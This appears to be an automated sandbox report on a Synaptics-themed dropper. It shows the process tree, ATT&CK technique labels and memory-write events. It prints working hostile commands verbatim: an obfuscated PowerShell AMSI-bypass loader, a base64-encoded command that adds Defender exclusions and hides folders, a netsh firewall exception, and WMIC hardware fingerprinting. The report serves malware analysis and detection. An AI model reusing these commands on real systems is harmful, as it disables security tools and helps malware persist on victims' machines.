PID 3624 wrote to memory of 3132	3624	cmd.exe	116
PID 3624 wrote to memory of 616	3624	cmd.exe	117
PID 3624 wrote to memory of 1168	3624	cmd.exe	118
PID 208 wrote to memory of 2912	208	._cache_Synaptics.exe	120
PID 208 wrote to memory of 3360	208	._cache_Synaptics.exe	122
PID 208 wrote to memory of 4032	208	._cache_Synaptics.exe	123
PID 2432 wrote to memory of 4136	2432	444.exe	124
PID 208 wrote to memory of 2280	208	._cache_Synaptics.exe	125
PID 208 wrote to memory of 3300	208	._cache_Synaptics.exe	126
PID 208 wrote to memory of 2276	208	._cache_Synaptics.exe	129
PID 2544 wrote to memory of 608	2544	powershell.EXE	5
PID 608 wrote to memory of 668	608	winlogon.exe	7
PID 608 wrote to memory of 872	608	winlogon.exe	11
PID 608 wrote to memory of 1008	608	winlogon.exe	13
PID 608 wrote to memory of 528	608	winlogon.exe	14
PID 608 wrote to memory of 1004	608	winlogon.exe	15
PID 608 wrote to memory of 1068	608	winlogon.exe	16
PID 608 wrote to memory of 1124	608	winlogon.exe	17
PID 608 wrote to memory of 1132	608	winlogon.exe	18
PID 608 wrote to memory of 1176	608	winlogon.exe	20
PID 608 wrote to memory of 1196	608	winlogon.exe	21
PID 608 wrote to memory of 1308	608	winlogon.exe	22
PID 208 wrote to memory of 3516	208	._cache_Synaptics.exe	132
PID 608 wrote to memory of 1344	608	winlogon.exe	23
PID 608 wrote to memory of 1380	608	winlogon.exe	24
PID 608 wrote to memory of 1416	608	winlogon.exe	25
PID 608 wrote to memory of 1456	608	winlogon.exe	26
PID 608 wrote to memory of 1532	608	winlogon.exe	27
PID 608 wrote to memory of 1728	608	winlogon.exe	28
PID 608 wrote to memory of 1740	608	winlogon.exe	29
PID 608 wrote to memory of 1748	608	winlogon.exe	30
PID 608 wrote to memory of 1888	608	winlogon.exe	31
PID 608 wrote to memory of 1924	608	winlogon.exe	32
PID 608 wrote to memory of 1932	608	winlogon.exe	33
PID 608 wrote to memory of 2012	608	winlogon.exe	34
PID 608 wrote to memory of 1824	608	winlogon.exe	35
PID 608 wrote to memory of 1832	608	winlogon.exe	36
PID 608 wrote to memory of 1624	608	winlogon.exe	37
PID 608 wrote to memory of 2152	608	winlogon.exe	38
PID 608 wrote to memory of 2172	608	winlogon.exe	39
PID 608 wrote to memory of 2260	608	winlogon.exe	40
PID 608 wrote to memory of 2348	608	winlogon.exe	42
PID 608 wrote to memory of 2496	608	winlogon.exe	43
PID 608 wrote to memory of 2512	608	winlogon.exe	44
PID 608 wrote to memory of 2660	608	winlogon.exe	45
PID 608 wrote to memory of 2740	608	winlogon.exe	46
PID 608 wrote to memory of 2784	608	winlogon.exe	47

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
736	attrib.exe
1884	attrib.exe
5792	attrib.exe
4588	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:608
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:528

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-140b9a91-2fc6-4063-8097-8735f4d132f4 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-481edbf6-d8b9-4db9-b027-b0842587fa9d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e1064f50-801a-4b6f-acb3-8f8208d4bc73 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-beade3bc-c6f2-4a1c-810e-fd7562ce0b3e -LifetimeId:78a19998-6b6b-46e3-a2e2-b0a261db6b04 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1196
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:buTYXzhMmEnr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$VojwenpgtxEumy,[Parameter(Position=1)][Type]$TtXiUyHItO)$SlzZihVQGvA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+'dDel'+'e'+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'yM'+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+'T'+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+'d'+','+'Ansi'+[Char](67)+''+'l'+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+'C'+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$SlzZihVQGvA.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+'a'+''+[Char](109)+''+[Char](101)+''+','+''+'H'+''+'i'+''+[Char](100)+'e'+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'ub'+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$VojwenpgtxEumy).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+'a'+'ged');$SlzZihVQGvA.DefineMethod('In'+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+'w'+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+',V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$TtXiUyHItO,$VojwenpgtxEumy).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+'an'+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $SlzZihVQGvA.CreateType();}$FAIHccaYJBzoU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+'t'+'e'+'m'+'.'+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+'o'+''+'f'+'t.'+'W'+''+[Char](105)+'n'+'3'+'2'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+''+'f'+'e'+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$lHFfDovKkKSJpV=$FAIHccaYJBzoU.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+'A'+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'ubl'+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YwiVdkhaipeLnFAIUAm=buTYXzhMmEnr @([String])([IntPtr]);$XbnajbEGYnwPKEfdqWHiMI=buTYXzhMmEnr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rmGqCEnizdw=$FAIHccaYJBzoU.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+[Char](101)+'H'+'a'+''+[Char](110)+''+[Char](100)+'le').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+'l'+'l')));$MIUxQcdEhTIFUN=$lHFfDovKkKSJpV.Invoke($Null,@([Object]$rmGqCEnizdw,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+'L'+'i'+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$oxojYjZIkfHcJMKhJ=$lHFfDovKkKSJpV.Invoke($Null,@([Object]$rmGqCEnizdw,[Object]('V'+'i'+'rt'+'u'+'a'+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$BnlkwRE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MIUxQcdEhTIFUN,$YwiVdkhaipeLnFAIUAm).Invoke(''+'a'+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$TgtKMPFKmgEdUWxRm=$lHFfDovKkKSJpV.Invoke($Null,@([Object]$BnlkwRE,[Object](''+[Char](65)+''+'m'+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$cHfilwFtWA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oxojYjZIkfHcJMKhJ,$XbnajbEGYnwPKEfdqWHiMI).Invoke($TgtKMPFKmgEdUWxRm,[uint32]8,4,[ref]$cHfilwFtWA);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](84+47),[Byte](16+218),[Byte](1-1),[Byte](3+181),[Byte](204-117),[Byte](138-138),[Byte](91-84),[Byte](203-75),[Byte](241-110),[Byte](193-1),[Byte](37-37),[Byte](16+179),[Byte](224-87),[Byte](81+138)),0,$TgtKMPFKmgEdUWxRm,170-156);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oxojYjZIkfHcJMKhJ,$XbnajbEGYnwPKEfdqWHiMI).Invoke($TgtKMPFKmgEdUWxRm,[uint32]8,0x20,[ref]$cHfilwFtWA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+'7s'+[Char](116)+'age'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1532
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2172

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3204

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3256
- C:\Users\Admin\AppData\Local\Temp\Synaptics.exe
  "C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4172
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3392
  - - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
      4⤵
      PID:5320
- - C:\ProgramData\Synaptics\Synaptics.exe
    "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2820
  - - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
      4⤵
      Downloads MZ/PE file
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:208
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4456
    - - C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4188
    - - C:\Users\Admin\AppData\Local\Temp\Files\444.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\444.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2432
      - C:\Users\Admin\AppData\Roaming\conhost.exe
        
        "C:\Users\Admin\AppData\Roaming\conhost.exe"
        6⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Adds Run key to start application
        Drops autorun.inf file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4136
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\conhost.exe" "conhost.exe" ENABLE
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:5272
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5348
    - - C:\Users\Admin\AppData\Local\Temp\Files\Serials_Checker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\Serials_Checker.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:3220
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c "Serials_Checker.bat"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3624
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4596
        
        C:\Windows\system32\mode.com
        
        mode con: cols=90 lines=48
        7⤵
        
        PID:1112
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get serialnumber
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2688
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4864
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic cpu get serialnumber
        7⤵
        
        PID:1884
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic cpu get processorid
        7⤵
        
        PID:2276
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get serialnumber
        7⤵
        
        PID:4360
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic baseboard get serialnumber
        7⤵
        
        PID:1084
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic memorychip get serialnumber
        7⤵
        
        PID:3132
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_NetworkAdapter where "PNPDeviceID like '%PCI%' AND NetConnectionStatus=2 AND AdapterTypeID='0'" get MacAddress
        7⤵
        
        PID:616
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic PATH Win32_VideoController GET Description,PNPDeviceID
        7⤵
        
        PID:1168
    - - C:\Users\Admin\AppData\Local\Temp\Files\alphaTweaks.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\alphaTweaks.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1036
    - - C:\Users\Admin\AppData\Local\Temp\Files\donut.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\donut.exe"
        5⤵
        Executes dropped EXE
        
        PID:2544
    - - C:\Users\Admin\AppData\Local\Temp\Files\bsg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\bsg.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2912
    - - C:\Users\Admin\AppData\Local\Temp\Files\fmt_01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\fmt_01.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3360
    - - C:\Users\Admin\AppData\Local\Temp\Files\access.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\access.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4032
    - - C:\Users\Admin\AppData\Local\Temp\Files\qt51crk.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\qt51crk.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2280
    - - C:\Users\Admin\AppData\Local\Temp\Files\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\Install.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3300
    - - C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"
        5⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2276
      - C:\Users\Admin\AppData\Local\0dd52937-ff6b-499d-9ffd-f064245155c4\background.exe
        
        "C:\Users\Admin\AppData\Local\0dd52937-ff6b-499d-9ffd-f064245155c4\background.exe"
        6⤵
        
        PID:372
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
        7⤵
        
        PID:4736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8A